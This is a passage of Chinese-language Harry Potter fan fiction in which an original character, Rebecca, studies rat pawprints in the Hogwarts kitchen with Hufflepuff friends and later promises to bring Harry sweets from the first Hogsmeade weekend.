苏珊蹲下来仔细看了一会儿:“我想应该可以。”
“谢天谢地。”
奇奇却没有半点谢天谢地的意思,它的大耳朵再次垂下来:“厨房每天晚上都打扫得很干净,艾博小姐。”
“我知道,我知道。”汉娜马上说道,“我不是说厨房不干净——它是从墙缝里钻进来的,又不是先在门口看看地板擦得怎么样,再决定要不要进来偷面包。”
丽贝卡没再管他们,从口袋里取出埃德温送她的黄铜放大镜。镜框旁的小齿轮转动以后,两层镜片自己前后调整了几次,爪印很快清楚起来。她先看后爪,又沿着足迹一点点往墙边移动。眼前这些痕迹不像前两天的乌龙,彼此的距离、方向和深浅都很自然;那只动物从墙后钻出来,在低架附近停留过,随后又沿着差不多的路线回去了。
看到第三枚比较清楚的前爪印时,她忽然停住了。
“怎么了?”厄尼问。
“这一只右前爪不太对劲。”丽贝卡把放大镜往旁边让了一点,“只有三个趾印,老鼠前爪正常应该是四个。”
汉娜也俯身下来观察:“会不会第四个刚好没踩到?我是说,我们前两天已经因为一把勺子六点起过床了,我现在不太想再对一个不完整的脚印抱太大希望。”
“有可能。”丽贝卡说,“所以这一枚不能算。”
她继续往前找。下一枚很浅,只看见两个清楚的趾印;再下一枚压在石缝边缘,右半边恰好缺掉了。几个人于是顺着那串爪印一点点挪到墙边,动作慢得让路过的小精灵都忍不住多看两眼。最后,在离墙缝不到一英尺的地方,他们找到了一枚几乎完整的印子:左前爪四个趾印,右前爪三个,边缘都很清楚。
丽贝卡又往回找了一枚完整的右前爪。
仍然是三个。
“好吧。”汉娜说,“现在我愿意抱一点希望了。”
厄尼显然没有这么乐观:“这只能说明它确实少了一根脚趾。”
苏珊接过放大镜确认了一遍,随后递给贾斯汀。贾斯汀看得比丽贝卡预想中认真,甚至还倒回去比较了一枚左前爪的印子;等他把放大镜还回来时,厨房另一头一只铜壶突然尖叫起来,小精灵马上把它从火上提走,几只茶杯则排成一列从他们头顶飞过去。早餐显然没有因为他们终于找到一只缺脚趾的老鼠而准备得慢一点。
汉娜仍旧蹲在地上,盯着那串印子看了半天,忽然说道:“罗恩不是有只老鼠吗?”
“斑斑。”贾斯汀说。
“我知道它叫斑斑。”
“我只是补充一下。”
“总之,我不是说一定就是它——”汉娜赶紧把话说完整,“我只是突然想到,我们认识的人里正好有人养了一只老鼠,而且斑斑年纪又很大。别这样看我,厄尼,我知道年纪很大不代表脚趾会自己掉下来。”
厄尼微微皱眉:“我没有这么想。”
“你刚才明明准备说话。”
“我是准备说,霍格沃茨里当然不止一只老鼠。”
“看吧。”
“这两句话不是一回事。”
“意思差不多。”
“完全不一样。”
苏珊站起身,拍了拍长袍膝盖上的灰:“你们可以等吃完早饭再讨论到底有多不一样。”
丽贝卡也想到了斑斑——她见过那只灰扑扑的老鼠许多次,有时候它趴在罗恩肩上,有时候只从袍子口袋里探出脑袋;这学期它看着比以前更瘦,可她从来没有特别看过斑斑的前脚——事实上,在今天以前,她甚至没有想过自己有一天会需要知道罗恩宠物老鼠究竟有几根脚趾。
“下次碰见的时候看看就行。”丽贝卡说,“不用专门去问。”
“对,我也是这么想的。”汉娜立刻赞同,“要是它正好在罗恩手上,我们就顺便看一眼。很自然。”
贾斯汀慢慢站直了:“多自然?”
汉娜警觉地看他:“什么意思?”
“没什么,我只是在想象那个场面。”贾斯汀把手插进袍子口袋里,语气很认真,“比如我们明天早饭碰见罗恩,你走过去说,‘早上好,韦斯莱,你猜怎么着,我们怀疑你的老鼠半夜到厨房偷东西,介不介意让我看看它的右前脚?’我个人不认为这算特别友好的开场白。”
汉娜瞪着他:“我当然不会那么说。”
“那就好,我刚才有一点担心。”
“我会先问斑斑最近怎么样。”
贾斯汀停了一下:“这其实更可疑。”
“为什么?”
“因为你从来没问过。”
汉娜张了张嘴,发现这一点居然是真的。
“那我就什么也不问,”她说,“如果斑斑自己出来,我就顺便观察一下。可以了吧?”
“很自然。”苏珊说。
“谢谢。”
“其实就算斑斑的右前爪真的少了一根脚趾,现在也说明不了什么。”厄尼说道,“厨房前几年也丢过东西,我们不知道那些是不是同一只老鼠干的。就算斑斑刚好也符合这个特征,也只能说明它有可能来过这里,不能证明一定就是它。”
汉娜叹了口气,“我知道,你是说不能走过去喊‘抓到你了’。”
“当然不能。”
“我也没准备那么做。”
“那就好。”
贾斯汀低声对苏珊说:“我觉得他们今天取得了很多一致意见。”
“主要是在谁都没准备做的事情上。”
厄尼听见了,没有理他们,只把放大镜还给丽贝卡:“现在能确定的只有这个:昨晚这里来过一只右前爪少了一根脚趾的老鼠。”
丽贝卡点点头,把放大镜收回口袋,“我会把这点记录下来。”
厨房接下来几天都没有再少东西。丽贝卡把那几枚脚印记进笔记,只写了“右前爪缺一趾”,后面没有添任何名字;偶尔在礼堂里碰见罗恩,斑斑不是整个缩在他的口袋里,就是根本没有露面,没有哪一次自然到足够让她突然提出想看看它的脚。
既然没有更进一步的证据,这件事便只能暂时到此为止。到了十月底,赫奇帕奇三年级也很自然地把大部分注意力转向了另一件事情——至少和一只来历不明的老鼠相比,那件事有明确的日期,而且还包括糖果。
第一次霍格莫德周末定在万圣节。
通知是在星期一早晨贴出来的。丽贝卡从寝室出来时,公共休息室门口已经围了一圈三年级学生,连布告栏最上面那张关于温室更换手套的旧通知都被挤歪了;两枚黄铜图钉不耐烦地敲着羊皮纸边缘,试图把它重新按平。汉娜在人群里站了半天,回来以后便宣布,他们最好先去蜂蜜公爵。
“你昨天还说先去三把扫帚。”苏珊提醒她,她正坐在壁炉旁给草药课手套补一个被咬出来的小洞,那只手套显然不大愿意合作,五根手指一直往她掌心里缩。
“我知道。”汉娜把书包放下,“可我刚才听两个五年级说,到了中午以后蜂蜜公爵会挤得连门都很难进去——他们去年第一次去的时候排了差不多半个小时。”
贾斯汀从麻瓜研究课本后面抬起头,表示如果大家的解决办法都是“为了避开人群,所以所有人一起更早去”,结果也许值得再观察一下;汉娜说那至少比明知道会排队还故意晚去强。苏珊没有参与争论,只问他们是不是准备在蜂蜜公爵门口一直讨论到别的三年级学生全都进去。
于是路线问题暂时解决了一半。贾斯汀想去佐科,尽管他十分坚持自己只是“进去看看”,并且声称一个人完全可以在不买粪弹的情况下对粪弹保持学术兴趣;苏珊想去看看几个高年级提过的文具店。丽贝卡则记着埃德温暑假说过的德维斯和班斯,据说那里偶尔能收到停产的旧式魔法仪器和不知属于什么仪器的零件——埃德温还特意告诉她,如果店主也不知道一件东西究竟是干什么用的,理论上价钱应该便宜些,不过实践中商店往往不接受这种理论。
“所以你第一次去霍格莫德,还要替埃德温看旧零件。”汉娜说道。
“如果正好有。”
“我没有说不好,”汉娜很快补充,“我只是觉得,如果让我姨妈知道巫师村里有糖果店、恶作剧商店和酒吧,而我们第一个想到的却是旧零件,她大概会觉得霍格沃茨把我们教得太认真了。”
“你第一个想到的是蜂蜜公爵。”苏珊说。
“所以我替学校保住了一点名声。”
贾斯汀对此表示赞同。
几个人说着出了公共休息室。那天早晨整个城堡里似乎都比平常更容易听见“霍格莫德”这个词,楼梯上有人讨论佐科,门厅里两个拉文克劳学生正在争论三把扫帚的黄油啤酒到底有没有传言中那么好;一幅画里的老巫师甚至探出画框,向经过的学生大声推荐猪头酒吧,结果被隔壁画里的老太太毫不客气地训斥了一顿。
格兰芬多的三年级同样围在门厅布告栏附近。丽贝卡先看见罗恩,他正比划着向西莫解释佐科里一种会在别人鼻子下面爆开的东西;赫敏站在旁边重新看许可表上的规定,哈利则靠着窗台,显然没有多少兴趣加入他们。
“福吉没有帮你签申请表?”丽贝卡问。
“是啊。”哈利把手插进口袋里,“所以我准备再去问麦格教授一次——她大概不会签,不过也许学校能给我个例外什么的。反正问一句总不会让事情变得更糟。”
丽贝卡点了点头:“可以试试。”
“谢谢,”哈利说,“终于有人没有先告诉我为什么肯定不行。”
赫敏立刻从许可表上抬起头:“我没有说肯定不行,我只是说麦格教授很可能不会这么做。签字不是一项没意义的手续,哈利。学生离开学校一整天,监护人至少应该知道他去了哪里,并且明确表示同意。德思礼先生对霍格莫德一无所知当然很荒唐,可这不代表麦格教授就能替他承担监护人的责任。”
罗恩转过头,“赫敏,你有没有发现,你每次说‘我没有说肯定不行’以后,后面通常都会跟一大段为什么不行?”
“因为你们通常根本没听前面那一段。”
“我听了。”
“那我刚才说了什么?”
罗恩停了一下。
哈利趁机说道:“我还是去问麦格教授吧。”
这一次没人反对。
结果也没有特别出人意料。下午,丽贝卡从古代魔文教室下来,在二楼楼梯转角再次碰见他们三个时,罗恩显然已经替哈利不平了好一阵。他正在说,弗农姨父连霍格莫德这个名字都未必念得对,却偏偏有权决定哈利能不能去;赫敏则说她从来没有认为德思礼一家是称职的监护人,可学校不可能因为某个学生的监护人很糟糕,就假装这个监护人不存在。
“麦格教授怎么说?”丽贝卡问。
哈利脸上露出一个不大愉快的笑:“她说,如果没有家长或者监护人的签字,我就不能去。然后她提醒我,小天狼星·布莱克现在还没抓到,所以她尤其不准备为了我破例。”
“这个理由比弗农姨父没签字合理。”丽贝卡说。
“我知道。”哈利说,“可你至少可以先假装站在我这边,然后再告诉我她说得有道理。”
丽贝卡想了想,觉得哈利看起来确实有些失望,于是说道:“那我回来给你带东西。”
哈利几乎没怎么思考就摇了摇头:“不用,贝卡,真的——这是你们第一次去霍格莫德,别因为我去不了,还得一路想着给我捎什么东西。”
丽贝卡对这个反应并不意外——哈利并不是不喜欢别人送他东西,恰恰相反,有时候一只巧克力蛙都能让他高兴半天。只是只要听起来像是别人要为了他多费一点工夫,他往往就会先说“不用”。这一点从前在女贞路就是这样,到了霍格沃茨以后也没改多少。丽贝卡知道,他不是故意和人客气,只是不太习惯把别人的好意当成理所当然;哪怕对方根本不觉得麻烦,他也总要先确认一遍。
“可我本来就会想到你。”她说。
哈利原本已经转过去一点,听见这句话,又回过头来看她。
丽贝卡并没有觉得自己说了什么需要特别解释的话,不过看他的样子,显然还没有完全理解:“我是说,我本来就要去蜂蜜公爵——我要是看见巧克力蛙、滋滋蜜蜂糖,或者别的什么你肯定会喜欢的东西,当然会想到你——想到以后顺手带回来就是了,又不是因为你去不了,我就得替你把霍格莫德重新逛一遍。”
哈利看了她一会儿,嘴角终于忍不住弯了起来:“我觉得你把‘不用给我带东西’的意思弄得比原本复杂多了。”
“是你先把‘顺手带东西’理解成‘我要为了你多跑半个霍格莫德’的。”
“我从来没这么说过。”
“意思差不多。”
哈利看了她一会儿,像是还想反驳什么,最后却先笑了出来。丽贝卡本来还在认真等他的答复,被他这么一笑,也忽然觉得他们站在走廊里为了“顺手带点糖”究竟算不算麻烦争了半天,确实有点傻,于是自己也跟着笑了。
“好了。”她说,“所以你到底想要什么?”
哈利脸上还带着笑意,想了想:“巧克力蛙吧,或者滋滋蜜蜂糖——你看到什么就随便带点,别特意找。”
“这次是真的随便?”
“是真的。”哈利说,又补了一句,“不过要是罗恩告诉你蟑螂堆很好吃,别信他的。”
“我听见了!”罗恩的声音从前面传过来。
“那正好,省得我回去再告诉你一遍。”哈利说。
他们正沿着二楼的长廊往前走,窗外的天阴沉沉的,一阵十月底的风把雨点拍在高高的玻璃窗上。墙边一幅画里,穿银色盔甲的骑士正忙着和自己的马争论万圣节晚上应该先去哪个画框喝酒;争到一半,那匹马显然受够了,径自从画框边缘跑了出去,只留下骑士站在空荡荡的草地上,一边挥拳一边喊它回来。丽贝卡多看了两眼,哈利也顺着她的目光望过去,正好看见骑士怒气冲冲地追着马跨进旁边一幅海景画里,没过多久又湿淋淋地退了回来。
“看来它也不喜欢被人安排去哪儿。”哈利说。
丽贝卡转头看他:“你是在替那匹马说话,还是替你自己?”
“现在主要是那匹马。”
这回答让她又笑了一下。
前面的罗恩和赫敏已经到了楼梯口,正巧那段楼梯开始慢吞吞地转向另一边。罗恩一边抓住栏杆一边回头催他们:“你们两个要是还准备继续讨论糖果,最好边走边讨论。我可不想为了等你们再爬一层。”
“来了。”哈利应了一声。
丽贝卡也跟着加快脚步。到了楼梯边,她正准备往另一头走,哈利又回过头叫了她一声。
“贝卡。”
“怎么了?”
“巧克力蛙就很好。”
丽贝卡点点头:“知道了。”
这一次哈利没有再说“不用”,也没再提自己去不了霍格莫德的事。他几步追上罗恩,没多久,丽贝卡便听见前面传来两个人关于蟑螂堆究竟算不算“正常糖果”的争论。赫敏正在十分明确地告诉他们,决定一件东西是否正常的标准显然不能只是罗恩敢不敢吃。
哈利听起来已经没有刚从麦格教授那里出来时那么不高兴了。